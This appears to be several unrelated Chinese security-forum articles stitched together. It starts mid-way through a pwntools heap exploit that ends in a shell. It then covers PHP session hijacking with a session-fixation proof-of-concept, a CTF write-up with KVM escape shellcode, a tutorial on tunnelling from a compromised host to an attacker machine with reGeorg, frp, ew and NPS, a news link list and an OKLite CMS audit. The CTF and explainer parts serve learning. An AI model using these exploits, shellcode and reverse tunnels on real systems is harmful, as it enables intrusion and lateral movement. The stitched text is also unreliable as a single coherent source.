r.sendline("admin")
r.recvuntil("password:")
r.sendline("frame")
new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")
new("1234567",0x60,"\x20")
raw_input()
new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)
one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()
'''
free_hook = leak_Addr+e.symbols["__free_hook"]
new("1234567",0x30,"1234567")#4
delet(5)
delet(5)
new("1234567",0x30,p64(free_hook))
new("1234567",0x30,p64(one))
new("1234567",0x30,p64(one))
'''
#r.interactive() | 社区文章 |
# 前言
在互联网中，对于用户来说不仅仅是单向信息传输，更重要的是信息交互，但是在web中，http协议是无状态的，当一个请求等到了服务器的回应之后，两者连接便中断了，而第二个请求发出后，服务端并不知道你和第一个请求的关系，所以没办法持续保持身份信息，每个http请求对于服务器来说，如果没有身份认证，那么对服务器来说所有人的请求都是一样无区别的。所以在互联网中，在所有需要信息双向交互的地方就需要身份认证，对于不同的身份给予不同的权限，此时就用到会话这个概念。
# 为什么需要会话
首先要理解tcp的三次握手，一般在TCP三次握手就创建了一个会话，在会话中可以传递信息，等TCP关闭连接就关闭会话了。HTTP协议是基于TCP协议的，所以http会话也是在TCP关闭连接后就关闭会话，而在http1.1中，一般一个连接就只能处理一个请求，所以在需要权限身份认证的时候就需要有一种凭证，才能使得每次请求服务器都知道是你，相当于建立了连续的会话，也就是每次的请求都带有自己的身份凭证。
简单点，会话就是让你在信息交互的时候让对方知道你是谁，并且一直知道你是谁，但是服务器不是人，没有自我辨别的功能，这时候需要一种凭证，也就是session。站在客户端角度，在你每次登录帐号密码之后，会有一串类似于短秘钥之类的东西，他只属于你，证明你的身份。站在服务器端，在php中，在你进行身份认证之后，会在服务器端保存一个以PHPSESSID为名的文件来储存你的身份，账号等各种信息，在用户每次提交带有session的请求时，自动去搜索这个以session命名的文件，查看里面的反序列化信息（也就是你的身份等信息）。
# php中的session
在上面我们提到了php中的session，那么一旦phpsessid泄露，相当于别人也可以使用你的身份，而且一般session在浏览器关闭后也不会注销，仅仅是你已经丢失了你的sessionid，但是服务端并未立刻失效。
但是在php中并不是在登录之后才会给PHPSESSID，而是在
session_start();
开始之后，http响应头部信息会返回 set-cookie:PHPSESSID=xxxxxxx,浏览器便会自动创建这个cookie，并且关联这个域名。同时，也在服务器端创建一个以Session
ID命名的文件，此时你并没有登录，但是已经给了你相应的session，这时候带着账号密码去登录，登录成功后，Session
ID才能匹配你的信息，否则不登录，在服务端创建的session文件内容为空，登录成功后，在服务端以你的phpsessid创建关于你信息的文件，当你带着这个phpsessid继续访问的时候，就会从服务端文件里查找关于你的信息，是否是管理员，还是普通用户，这属于后端代码编写不作讨论。
而在服务器端，会有一个sess_……………… 命名的文件保存用户信息。
这里后台代码仅仅简单写了一个用户权限功能，实际上会记录更全面的用户信息，而里面的信息全部被序列化存储。
# session劫持
要明白session劫持，首先需要清楚session id的存储位置，sessionid不仅仅存储在cookie中，也可能存储在post
get（很少见），或者由url重写来完成，还有一部分存储在隐藏域中，一般首选是存储在cookie中，当禁用了cookie传递之后就会重写在url里，在url里传递很容易暴露造成更多的安全问题，在允许cookie传递的时候首选cookie，在php中提供了session.use_only_cookies选项，
session劫持实际上就是自己的PHPSESSID被攻击者以某种方式获取，然后在会话的有效期内，利用被攻击者的身份登录网站，来达到身份劫持，伪装成合法用户。一般PHPSESSID存储在cookie中，XSS攻击也会造成session劫持。
session成功劫持一般需要几个步骤，
1.用户访问的平台是使用session来进行身份认证。
2.用户已经使用账号密码登录该平台，随即该用户会得到一个sessionid。
3.通过劫持获取到sessionid，并且在sessionid的有效期内使用（未注销前）。
那么如何获得sessionid是关键，接下来会谈到，一般可以使用
1.劫持：XSS劫持，局域网嗅探，会话固定结合，任意文件读取漏洞等等。
2.爆破：直接通过大流量爆破出sessionid（一般是不太可能)。
3.得到session生成规则，并且得到签名通过计算获取。
## 规则爆破
通过知道规则来进行爆破，不过这种方法基本上是没可能的局限性太多，且概率极小，php中的sessionid举例而言。生成规则如下。
PHPSESSID生成
生成规则是根据hash_func散列来生成的，相关的参数有：
* 客户端IP
* 当前时间（秒）
* 当前时间（微秒）
* PHP自带的随机数生产器
秒微秒可以爆破，随机数也可能是伪随机，客户端IP也可以某种手段获取，但是四种同时精准获取，难度极大，但是不排除有成功的可能性。根据生成规则，也有可能爆破出，但是相对来说几乎不太可能。
## 利用XSS或者文件读取
利用xss反弹到的cookie，来伪造身份登录。
使用被攻击者的PHPSESSID，rv3kprfodknmqdrnf0cuial8r6
即可利用管理员的session来登录，前提是必须在会话有效期内使用。
或者利用任意文件读取，XXE等来进行读取文件名来获取sessionid，服务端保存的都是在有效期内的session。
## 会话固定劫持
会话固定也属于劫持的一种，或者说他是通过攻击者诱导使用固定的sessionid。会话固定的流程主要为
1.攻击者通过构造url参数或者表单传递来固定sessionid。
2.诱使用户使用攻击者构造的参数来登陆。
3.在用户登录之后，攻击者直接使用自己之前构造的固定sessionid来登陆。
会话固定漏洞并不常见，并且在早期通常是使用url来传递sessionid，这样更极大方便了攻击者，因为只要简单构造一条url，并且对于用户是很正常的url，例如，www.taobao.com?sessionid=test123，在用户使用这条url去登陆的时候就会固定了sessionid，就可能造成会话固定劫持漏洞。重置sessionid可由如下。
1.通过xss漏洞，可以通过js设置cookie中的sessionid。document.cookie="sessionid=test123"
2.通过url传递，直接构造url-->www.taobao.com?sessionid=test123
3.使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部,通过自己的服务器页面绑定sessionid。
接下来我们通过一个简单的php认证来做一次会话固定劫持，后端对身份验证代码如下。
<?php session_start();?>
if($_POST['zhanghao'] == $username && $_POST['mima'] == $password)
{
$_SESSION["name"]=$username;
}
if ($_SESSION['name'] == "")
{
echo "<script>alert('对不起，你没有权限');location.href='index.php'</script>";
}
此时攻击者构造一个表单页面。通过js来设置cookie造成会话固定攻击。此时使用户登陆。
<html>
<meta charset="utf-8" content="text/html; charset=gb2312"/>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/login.php" method="POST">
用户名称：<input type="text" name="zhanghao"><br/><br/>
用户密码：<input type="password" name="mima"><br/><br/>
<input type="hidden" name="denglu" value="™»½•" />
<input type="submit" value="Submit request" />
<meta http-equiv='Set-Cookie' content='PHPSESSID=22333'>
</form>
<script type='text/javascript'> document.cookie='PHPSESSID=123456789' </script>
</body>
</html>
此时抓包可以看到，提交的SESSID是我们构造的，而且服务器端暂时未创建123456789的用户session，然后用户点击提交。
可以看到服务器端成功创建了我们构造的session，然后攻击者便可以通过PHPSESSID=123456789造成合法登陆，由此便造成了一次完整的会话固定劫持，当然如果是url传递将更加方便，直接在url里加入自己的sessionid，用户点击正常的url登陆即可。
# cookie造成的一些安全隐患
在session身份认证中，一切用户的session都会存储在服务器，但是如果一旦用户量达到一个上限，那么对于服务器的荷载也是巨大的，但是在cookie实现身份认证中，并不会存储在服务器，而是存储在用户的客户端，cookie的出现是一次重大的变革，也是一项非常有争议的技术，原因就是因为他的透明性以及信息量，很容易泄露用户的隐私。
在session如果不设置过期时间，在服务器上就会一直存在，永远不会注销，在cookie中如果不设置过期时间，则在关闭浏览器时销毁该cookie，session会给服务器造成很大的负载，但是cookie并不存在这个问题，它将信息保存在了每个用户的客户端。淘宝便是使用了cookie存储一部分信息。
## 信息泄露
cookie中存取了大量用户的信息，如身份id，浏览次数，手机号，等一些隐私信息，截取了某平台的cookie信息，存储的信息量非常多，Cookie的主要功能是实现用户个人信息的记录，它最根本的用途是帮助Web站点保存有关访问者的信息，可是一旦泄露除了信息泄露，攻击者无疑也可以通过用户身份登录，无疑也是很大的隐患。
Cookie以纯文本的形式在浏览器和服务器之间传送，大多明文的形式被非法用户截获之后无疑是身份被盗取了，并且身份的信息也被盗取了，通过xss漏洞很容易获得cookie，如果没有做好防护措施，便会使用户的信息泄露。
## 越权
在cookie的身份认证中，极容易造成越权，切大多数越权修改参数都是在cookie中修改，大多数cookie中会有用户的userid，如果未合理的处理或者多重认证，很容易造成越权。在某安全公司的一次测试中，正是由于一次id的接口错误的设置，导致数万用户的平行越权，遍历ID，造成信息的泄露。危害可见一斑。
参考：<https://blog.csdn.net/h_mxc/article/details/50542038>
参考：<https://blog.csdn.net/u010084228/article/details/78269345> | 社区文章 |
# TWCTF 2018 escapeme writeup
|
##### 译文声明
本文是翻译文章，文章来源：blogspot.com
原文地址：<https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html>
译文仅供参考，具体内容表达以及含义原文为准。
#
这是我之前见过最好的KVM题了。感谢@shift_crops出的这么吊的题，赛后还放了[源码](https://github.com/shift-crops/EscapeMe)。
原题文件可以在[作者的repo](https://github.com/shift-crops/EscapeMe)里找到，包括4个二进制文件，两个文本文件和一个python脚本。
我的CTF writeup repo里有我[三个exp](https://github.com/david942j/ctf-writeups/tree/master/twctf-2018/EscapeMe)。
## 介绍
题目有三个文件，`kvm.elf`, `kernel.bin`和`memo-static.elf`。
这个题里有三个flag，分别需要用户空间任意shellcode执行，内核空间执行和host模拟器(`kvm.elf`)执行。
shell里输入`./kvm.elf kernel.bin memo-static.elf`跑起来，会看到一个看起来比较常规的pwn题的样子：
`kvm.elf` 是一个模拟器(和`qemu-system`一个作用)，装备了kvm，也就是一个在linux内核里实现的vm，用来做模拟。
`kernel.bin`实现了一个非常小的内核，可以加载静态的ELF文件，以及有一些系统调用。
`memo-static.elf`是一个实现备忘录系统的常规ELF文件。
因为[作者的repo](https://github.com/shift-crops/EscapeMe/)里已经把源码放出来了，我这就不再介绍整个题了，就主要关注漏洞部分。
## EscapeMe1: 用户空间
`memo-static.elf`是一个静态链接的文件，checksec结果：
其实对这个题来说checksec **基本没什么卵用**
，因为用来执行这个二进制文件的“内核”是由`kernel.bin`来实现的，其实根本就没开针对可执行文件的任何现代保护方法，导致的结果就是
**没有aslr** , **没有NX** (所有段都可执行),只要我们能控制rip就万事大吉了。
### 漏洞
bug非常容易看到，在`Alloc`里我们可以在堆上加一个memo，最多可以有0x28个字节的数据，之后我们可以有一次`Edit`各个memo的机会，edit的实现如下：
read(0, memo[id].data, strlen(memo[id].data));
如果一个memo刚好有0x28个不带null字节的数据，那么这个地方就可以溢出到下一个chunk了。
### 利用
这题并不难，不过有个问题就是这个内存分配器不是我们在glibc里熟悉的那个`ptmalloc`。这里的`malloc/free`的实现其实和`ptmalloc`非常像，不过没有`tcache`和`fastbin`。
我们采用的方法是用伪造chunk进行`unlink`，如下图：
|-----------------------------|
| | 0x31 |
(*ptr) -> | | 0x51 | <- fake chunk size
| ptr - 0x18 | ptr - 0x10 |
|-----------------------------|
| | 0x31 |
| BBBBBBBB | BBBBBBBB |
| BBBBBBBB | BBBBBBBB |
|-----------------------------|
伪造 prev size -> | 0x50 | 0x30 | <- 溢出，清除掉prev_in_use
| CCCCCCCC | CCCCCCCC |
| CCCCCCCC | CCCCCCCC |
|-----------------------------|
堆溢出发生在B块里，把下一块的size从`0x31`改为`0x30`，然后也构造一个`prev_size`(0x50)。
之后我们`Delete`(free)掉C块，这样就会试图把前块（伪造的）unlink掉。最后，本来指向堆的`*ptr`就可以指向`ptr - 0x18`。
之后，我们几乎就可以任意写了，但是因为我们必须写同样长度的数据，所以还是挺限制的。(回忆一下之前的`Edit`实现）。所以现在我们还不能直接修改栈上的数据（因为地址0x7fffffffxx比heap地址0x606000要长）.我在这其实卡了一会，最后用的方法：
1. 把`top_chunk`（位于0x604098)指针修改为0x604038。
* 改为0x604038是因为这有个0x604040的值，所以在malloc的时候可以过size的check
2. `Alloc`三个memo，第三个就会分配在`top_chunk`自己这，然后我们伪造`top_chunk`，使其指向一个栈地址
3. 再`Alloc`一个memo，然后我们就可以分配在栈上了，之后就可以伪造返回地址了。
之后就是把rip改成准备好的shellcode，用来读下一步的shellcode，然后执行。
之后，我就又卡住了。[笑哭]
是，我现在是有任意代码执行了，但是flag呢？由于我觉得要继续pwn其他的部分（内核和模拟器部分），我们反正都得先做到代码执行，所以我就直接去尝试继续去利用，压根没去拿flag1.
之后我稍微逆了一下，发现在`kernel.bin`的实现里有一个0x10c8为调用号的特殊系统调用。这个系统调用把flag拷到了一个只写的页里：
uint64_t sys_getflag(void){
uint64_t addr;
char flag[] = "Here is first flag : "FLAG1;
addr = mmap_user(0, 0x1000, PROT_WRITE);
copy_to_user(addr, flag, sizeof(flag));
mprotect_user(addr, 0x1000, PROT_NONE);
return addr;
}
于是我们只需要调用一下这个系统调用，然后mprotect一下让这个页可以读，然后打印出来就可以了
shellcode = asm('''
mov rax, 0x10c8
syscall
mov rbp, rax
''' + shellcraft.mprotect('rbp', 0x1000, 6) + shellcraft.write(1, 'rbp', 60))
比赛期间我写的exploit可以在[我的github repo里](https://github.com/david942j/ctf-writeups/blob/master/twctf-2018/EscapeMe/exp1.py)找到。
其实我当时都没注意到NX没开，所以我是ROP，mmap了一个新page来放shellcode的。所以其实这个利用比我这讲的要麻烦一点。
Flag1:
TWCTF{fr33ly_3x3cu73_4ny_5y573m_c4ll}
## EscapeMe2: 内核空间
`kernel.bin`包括三个部分：
1. 实现了一个解析和加载用户程序的简单execve
2. 实现了一个MMU表，用来把虚拟内存转换到物理内存。
3. 实现了几个系统调用，包括：read, write, mmap, munmap, mprotect, brk, exit 和 get_flag(给EscapeMe1用的)
我和队友花了点时间来找内存相关操作，比如mmap, munmap和MMU的实现部分的漏洞，发现根本就不对。
我们的目标当然是做到内核层的shellcode任意执行。但是因为这个自己写的MMU表把虚拟地址是否能够由用户空间访问用一个bit标记了一下，所以我们不能直接用用户空间shellcode去重写kernel代码。
### 漏洞
根据hint，我们知道在内存管理部分是有个洞的。
bug是由在模拟器和内核间的abi不一致造成的。在模拟器里有一个自己实现的内存分配器，`palloc`和`pfree`，然后kernel把`pfree`用挫了。
在用户调`mmap(vaddr, len, perm)`系统调用的时候，内核会：
1. hyper call调用`palloc(0, len)`，来获取一个物理地址`paddr`，长度为`len`。
2. 设置好MMU表，把`vaddr`映射到`paddr`，并且把权限位设置好。设置期间可能会调用一些`palloc(0, 0x1000)`（这得看`vaddr`相应的entry是否已经创建了）
3. 返回vaddr
而在用户调用`munmap(vaddr, len)`的时候，内核会：
1. 把`vaddr`映射到`paddr`
2. hyper call调用到`for(i = 0 ~ len >> 12) pfree(paddr + (i << 12), 0x1000)`
这里其实只要`pfree`像内核想的这样工作的话就没问题的。
在模拟器里，`pfree(addr, len)`压根就不关心`len`（他的函数圆形是`pfree(void*))`)
所以，如果有长度为0x2000的内存addr，然后调用`munmap(addr,
0x1000)`，内核其实只把第一页unmap了，但是模拟器里，整个内存都被free了！
再说明白点的话，之前的代码大概这样：
shellcode = asm(
mmap(0x7fff1ffc000, 0x2000) +
munmap(0x7fff1ffc000, 0x1000) +
mmap(0x217000, 0x1000)
)
在这段shellcode被执行之后，`0x7fff1ffc000 +
0x1000`还是可以被用户访问，但是已经指向了刚才映射0x217000的时候`palloc`的MMU entry了！
### 利用
如果我们能够伪造MMU表的话，那整个事情就简单了。在一些设置之后，我的0x217000映射到了物理内存0x0，也就是内核代码的地址。
现在我们只需要调用个`read(0, 0x217000+off, len)`就可以改掉内核部分了。
在模拟器里有个比较有用的hyper call调用可以把一个文件读到buffer里，用这个就可以很简单的拿到flag2.txt了。
kernel_sc = asm('''
mov rdi, 0
call sys_load_file
movabs rdi, 0x8040000000
add rdi, rax
mov rsi, 100
call sys_write
ret
sys_write:
mov eax, 0x11
mov rbx, rdi
mov rcx, rsi
mov rdx, 0
vmmcall
ret
sys_load_file:
mov eax, 0x30
mov ebx, 2 /* index 2, the flag2.txt */
mov rcx, rdi /* addr */
mov esi, 100 /* len */
movabs rdx, 0x0
vmmcall
ret
''')
这一部分的完整脚本[在这](https://github.com/david942j/ctf-writeups/blob/master/twctf-2018/EscapeMe/exp2.py)
Flag2:
`TWCTF{ABI_1nc0n51573ncy_l34d5_70_5y573m_d357ruc710n}`
## EscapeMe3: 操纵世界
现在就剩最后一步了：把模拟器pwn掉。
首先我们得先看看开了那些seccomp的规则，如果想去pwn模拟器的话。
### 漏洞
在EscapeMe2里我们已经可以伪造MMU表了，这个阶段也会用到这个。MMU表里的物理地址record其实是在模拟器里mmap的页的offset，也就是刚好在libc-2.27.so前面的页。所以说我们有MMU表的伪造能力，就可以访问到glibc里的内存。
而且我在题放出来5分钟之内就发现了seccomp规则里有个bug，这里用到了我[吊的不行的工具seccomp-tools](https://github.com/david942j/seccomp-tools) [大笑脸]。
Seccomp-tools的模拟器清晰的告诉我们满足`args[0] & 0xff < 7`的系统调用都能用。
之后就没啥新东西了，直接pwn掉就行了。
### 利用
通过伪造MMU表我们可以做到任意内存访问，但是需要先干掉ASLR。通过读libc里的指针可以同时leak出libc的基地址和argv地址，之后就可以往栈上写ROP链了。
ROP链主要用来调用`mprotect(stack, 0x3000, 7)`然后跳到栈上的shellcode。
因为有seccomp的限制，所以在`execve`之后的syscall，比如说`open`都没法用，我们就没法起shell，所以我选择写了个`ls`的shellcode来获取`flag3`的文件名。
asm('''
/* open('.') */
mov rdi, 0x605000
mov rax, 0x2e /* . */
mov [rdi], rax
mov rax, 2
xor rsi, rsi
cdq
syscall
/* getdents */
mov rdi, rax
mov rax, 0x4e
mov rsi, 0x605000
cdq
mov dh, 0x10
syscall
/* write */
mov rdi, 1
mov rsi, 0x605000
mov rdx, rax
mov rax, 1
syscall
'''))
输出：
之后再读文件`flag3-415254a0b8be92e0a976f329ad3331aa6bbea816.txt`就可以拿到最终flag了。
[完整脚本](https://github.com/david942j/ctf-writeups/blob/master/twctf-2018/EscapeMe/exp3.p://github.com/david942j/ctf-writeups/blob/master/twctf-2018/EscapeMe/exp3.py)
Flag3:
`TWCTF{Or1g1n4l_Hyp3rc4ll_15_4_h07b3d_0f_bug5}`
## 结论
从这个题里我学了不少KVM的知识（虽然好像对这题来说没啥卵用），然后这种一层一层逃逸的设计还是很不错的，挺好玩。
我之后还会写篇文章讲讲KVM是怎么工作的，一方面帮我自己记一下，二方面也可以作为KVM新手介绍。
再次感谢@shift_crops让我这周末玩的挺开心 😀 | 社区文章 |
# 0x00 前言
构建内网隐蔽通道，从而突破各种安全策略限制，实现对目标服务器的完美控制。
当我们从外网成功获得攻击点的时候，通过反弹shell、端口转发、内网穿透等技巧，来进一步入侵内网服务器。当我们取得内网目标服务器的控制权限，通过隧道技术绕过网络限制，实现隐蔽C2服务器的通信。
网络拓扑：
网络配置IP如下：
攻击机：
win10：192.168.1.6
kali：192.168.1.7
靶场：
VM1：对外边界服务器，win7
192.168.52.143
192.168.1.5
VM2：域成员，2003
192.168.52.141
VM3：域控，2008
192.168.52.138
# 0x01 reGeorge
## 1.1 环境
攻击机kali
reGeorge软件，下载：<https://github.com/sensepost/reGeorg>
运行程序需要的环境：
Python、pip、urllib3；
## 1.2 部署配置
上传tunnel.nosocket.php
前提条件，已获得跳板机的权限（都打到内网了，跳板机的权限肯定获得了），server-bt系统的跳板机是php环境，将reGeorge中的tunnel.nosocket.php上传至网站
并访问<http://192.168.1.5/tunnel.nosocket.php>
访问成功
启动reGeorg
python reGeorgSocksProxy.py -p 1090 -u
<http://192.168.1.5/tunnel.nosocket.php>
表示本地1090端口的流量都转发给指定的那个url，1090是指定的监听端口；
配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf，将代理设置成本机的1090端口：socks5
127.0.0.1 1090
## 1.3 测试
命令前面加上proxychains 运行命令，（跳板机php环境已启动，存在主页index.php）
proxychains curl <http://192.168.52.143>
reGeorg控制端
# 0x02 Neo-reGeorg
## 1.1 使用
设置密码并生成隧道文件，运行后会生成一个neoreg_server目录，里面包含了各种语言类型的隧道文件
$ python3 neoreg.py generate -k <password>
[+] Create neoreg server files:
=> neoreg_server/key.txt. # 密码
=> neoreg_server/tunnel.nosocket.php
=> neoreg_server/tunnel.js
=> neoreg_server/tunnel.php
=> neoreg_server/tunnel.ashx
=> neoreg_server/tunnel.aspx
=> neoreg_server/tunnel.tomcat.5.jsp
=> neoreg_server/tunnel.tomcat.5.jspx
=> neoreg_server/tunnel.jsp
=> neoreg_server/tunnel.jspx
python3 neoreg.py generate -k jdxyxd
## 1.2 部署配置
上传tunnel.php
前提条件，已获得跳板机的权限（都打到内网了，跳板机的权限肯定获得了），server-bt系统的跳板机是php环境，将reGeorge中的tunnel.php上传至网站
并访问<http://192.168.1.5/tunnel.php>
访问成功
启动Neo-reGeorg
python3 neoreg.py -k jdxyxd -u <http://192.168.1.5/tunnel.php>
#表示本地1080端口的流量都转发给指定的那个url，1080是指定的监听端口；
配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf，将代理设置成本机的1080端口：socks5
127.0.0.1 1080
## 1.3 测试
命令前面加上proxychains 运行命令，（跳板机php环境已启动，存在主页index.php）
proxychains curl <http://192.168.52.143>
# 0x03 frp
软件：frp_0.33.0_windows_amd64 ，frp_0.34.1_linux_amd64
代理工具Proxifier（windows下通常用可视化的proxifier、SocksCap64，Linux在proxychains设置）
## 1.1 攻击机为windows环境
frp的Socks5反向代理：
(HTTP反向代理修改plugin模块和proxifier代理类型即可)
攻击机-服务端：
设置frps.ini
[common]
bind_port = 7000
然后运行
frps.exe -c frps.ini
跳板机-客户端：server_addr为攻击机IP
设置frpc.ini
[common]
server_addr = 192.168.1.6
server_port = 7000
[socks5]
type = tcp
remote_port = 8010
plugin = socks5
然后运行
frpc.exe -c frpc.ini
SwitchyOmega配置
浏览器访问192.168.52.143 访问成功
proxifier配置
浏览器访问192.168.52.143 访问成功
# 0x04 ew
## 1.1 攻击机为kali环境
ew正向代理
1.正向连接跳板机在win7机器上执行(ew_for_windows上传到跳板机)
ew_for_win_32.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf socks5 192.168.1.5 1090
测试执行：
proxychains curl <http://192.168.52.143/>
## ew反向代理
服务端-攻击机kali
执行：
./ew_for_linux -s rcsocks -l 1080 -e 1024
客户端-跳板机
执行
ew.exe -s rssocks -d 192.168.1.7 -e 1024
配置proxychains代理链
在配置文件/etc/proxychains.conf，
将代理设置成本机的1080端口(root用户修改)：
测试执行：
proxychains curl <http://192.168.52.143/>
# 0x05 NPS隐秘隧道搭建
## 1）建立连接
此场景攻击机使用Kali，在攻击机运行命令“./nps install”安装服务端，如图7-81所示。
运行命令“nps start”启动服务端，如图7-82所示。
通过8080端口访问服务端的Web界面，如图所示。
<http://192.168.1.7:8080>
输入默认用户名、密码admin、123登录，登录后可以看到默认客户端连接端口为8024，登录后的Web界面如图所示。
添加客户端，如图所示，配置唯一验证密钥，验证密钥在从客户端连接到服务端时使用，此处配置为“any”，然后开启压缩和加密传输。
最后在边界主机运行命令“npc.exe -server=192.168.1.7:8024 -vkey=any”来连接服务端，建立连接如图所示。
连接成功后在攻击机的Web界面可看到客户端上线，如图所示。
## 2）TCP隧道
客户端上线后便可以通过Web界面单击上线的客户端、查看选项、配置隧道，例如，若想访问内网主机的3389端口，则可通过TCP隧道将内网主机的3389端口映射到攻击机的1111端口，单击“新增”，配置目标“192.168.52.143:3389”，配置服务端口为“1111”，TCP隧道如图所示。
TCP隧道建立成功后，即可通过连接攻击机的1111端口来连接内网主机的远程桌面，在攻击机运行命令“rdesktop
192.168.1.7:1111”连接本地的1111端口，隧道的使用如图所示。
## 3）SOCKS5代理
若想搭建HTTP代理或SOCKS代理，只需选择对应模式，填写服务端端口即可，以SOCKS为例，选择模式为“SOCKS代理”，如图所示，服务端端口为“1234”。
配置好SOCKS代理后，便可使用攻击机192.168.1.7的1234端口访问内网，配置代理服务器
访问内网主机站点<http://192.168.52.143/>
使用代理如图所示。
或者配置proxifier
访问内网主机站点<http://192.168.52.143/>
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。
博客:
<https://rdyx0.github.io/>
先知社区：
<https://xz.aliyun.com/u/37846>
SecIN:
<https://www.sec-in.com/author/3097>
CSDN:
<https://blog.csdn.net/weixin_48899364?type=blog>
公众号：
[https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect)
FreeBuf：
<https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85> | 社区文章 |
# 【知识】5月23日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 2017中国网络安全年会在青岛举、Netgear用户信息收集 **、 从序列化到shell：利用谷歌web工具包进行EL注入 **、**
在CSHARP中使用InstallUtil.exe bypass事件查看器UAC ** **、
在微软edge中利用ODD绕过fackbook的LINKSHIM ** **、 NSA武器库：DOUBLEPULSAR用户模式分析实现通用反射DLL
Loader ** **、 VMWare Workstation on Linux: unprivileged host user -> host root
privesc via ALSA config ** **、 通过数据包套接字攻击Linux内核 **
**、************************
**
**
**资讯类：**
* * *
2017中国网络安全年会在青岛举行
[http://bobao.360.cn/activity/detail/422.html](http://bobao.360.cn/activity/detail/422.html)
微软说中国gaming service公司正在入侵Xbox账号
<https://www.theverge.com/2017/5/22/15676966/microsoft-igsky-gameest-xbox-account-hacked-points>
Netgear支持热门路由器模型的用户数据收集功能
<https://www.bleepingcomputer.com/news/hardware/netgear-enables-user-data-collection-feature-on-popular-router-model/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
在CSHARP中使用InstallUtil.exe bypass事件查看器UAC
<https://gist.github.com/subTee/3da05e65485d3d83c69236345102195b>
从序列化到shell：利用谷歌web工具包进行EL注入
<http://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html>
Linux Kernel 3.11 < 4.8 0 SO_SNDBUFFORCE SO_RCVBUFFORCE 本地提权漏洞
<https://cxsecurity.com/issue/WLB-2017050084>
在微软edge中利用ODD绕过fackbook的LINKSHIM
<http://www.paulosyibelo.com/2017/05/exploiting-odd-behaviors-in-ms-edge-ie.html>
替代JavaScript伪协议
<http://brutelogic.com.br/blog/alternative-javascript-pseudo-protocol/>
NSA武器库：DOUBLEPULSAR用户模式分析实现通用反射DLL Loader
<http://bobao.360.cn/learning/detail/3883.html>
通用密码分析工具cupp
<https://github.com/Mebus/cupp>
VMWare Workstation on Linux: unprivileged host user -> host root privesc via
ALSA config
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1142>
如何通过数据包套接字攻击Linux内核
<http://bobao.360.cn/learning/detail/3885.html>
流血继续:18字节文件，$ 14k赏金，用于泄露私人Yahoo! Mail图像
<https://scarybeastsecurity.blogspot.in/2017/05/bleed-continues-18-byte-file-14k-bounty.html?m=1> | 社区文章 |
## OKLite介绍
OKLite是一套极简企业站系统，主要目标群体是展示型企业网站用户，让传统小企业快速布署网站，加强自身品牌意识，实现对公司形象的宣传。本系统最初是PHPOK程序精简而来。在同等配置下，OKLite速度优于PHPOK达30%以上。
(此版本在2018年已停止维护)
系统链接：<https://www.phpok.com/oklite.html>
## 基本情况
### 路由
网站有三个入口（前端，接口，后台）,都是通过`action()`方法进行初始化。
不同的入口传入指定的方法中执行动作：
访问：[http://127.0.0.1/admin.php?c=upload&f=save](http://127.0.0.1/admin.php?c=upload&f=save)
会调用`framework\admin\upload_control.php`中的`save_f`方法。
### 过滤
获取GET, POST和COOKIE数据都是通过一个`get()`方法进行过滤处理：
final public function get($id,$type="safe",$ext="")
{
$val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : (isset($_COOKIE[$id]) ? $_COOKIE[$id] : ''));
if($val == ''){
if($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval'){
return 0;
}else{
return '';
}
}
//判断内容是否有转义，所有未转义的数据都直接转义
$addslashes = false;
if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()){
$addslashes = true;
}
if(!$addslashes){
$val = $this->_addslashes($val);
}
return $this->format($val,$type,$ext);
}
//...省略
private function _addslashes($val)
{
if(is_array($val)){
foreach($val AS $key=>$value){
$val[$key] = $this->_addslashes($value);
}
}else{
$val = addslashes($val);
}
return $val;
}
